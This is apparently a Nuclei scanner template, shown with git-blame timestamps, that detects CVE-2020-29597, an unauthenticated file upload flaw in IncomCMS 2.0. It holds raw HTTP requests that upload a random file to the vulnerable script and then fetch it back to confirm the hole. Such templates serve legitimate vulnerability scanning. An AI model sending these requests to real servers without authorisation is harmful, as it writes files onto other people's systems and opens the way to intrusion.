2022-06-04 11:15:28 +00:00
id : CVE-2020-29597
info :
2022-06-09 20:35:21 +00:00
name : IncomCMS 2.0 - Arbitrary File Upload
2022-06-04 11:15:28 +00:00
author : princechaddha
severity : critical
description : |
2022-06-09 20:35:21 +00:00
IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
2022-06-04 11:15:28 +00:00
reference :
- https://github.com/Trhackno/CVE-2020-29597
- https://nvd.nist.gov/vuln/detail/CVE-2020-29597
2022-06-04 11:45:09 +00:00
- https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
- https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2020-29597
cwe-id : CWE-434
2022-06-04 11:17:47 +00:00
metadata :
2022-06-04 11:45:09 +00:00
verified : "true"
2022-06-04 11:15:28 +00:00
tags : cve,cve2020,incomcms,fileupload,intrusive
requests :
- raw :
- |
POST /incom/modules/uploader/showcase/script.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
------WebKitFormBoundaryBEJZt0IK73M2mAbt
Content-Disposition : form-data; name="Filedata"; filename="{{randstr}}.png"
Content-Type : image/png
------WebKitFormBoundaryBEJZt0IK73M2mAbt--
- |
GET /upload/userfiles/image/{{randstr}}.png HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
- contains(body_1, '\"name\":\"{{randstr}}.png\"')
- status_code_2 == 200
condition : and
2022-06-09 20:35:21 +00:00
# Enhanced by CS 06/06/2022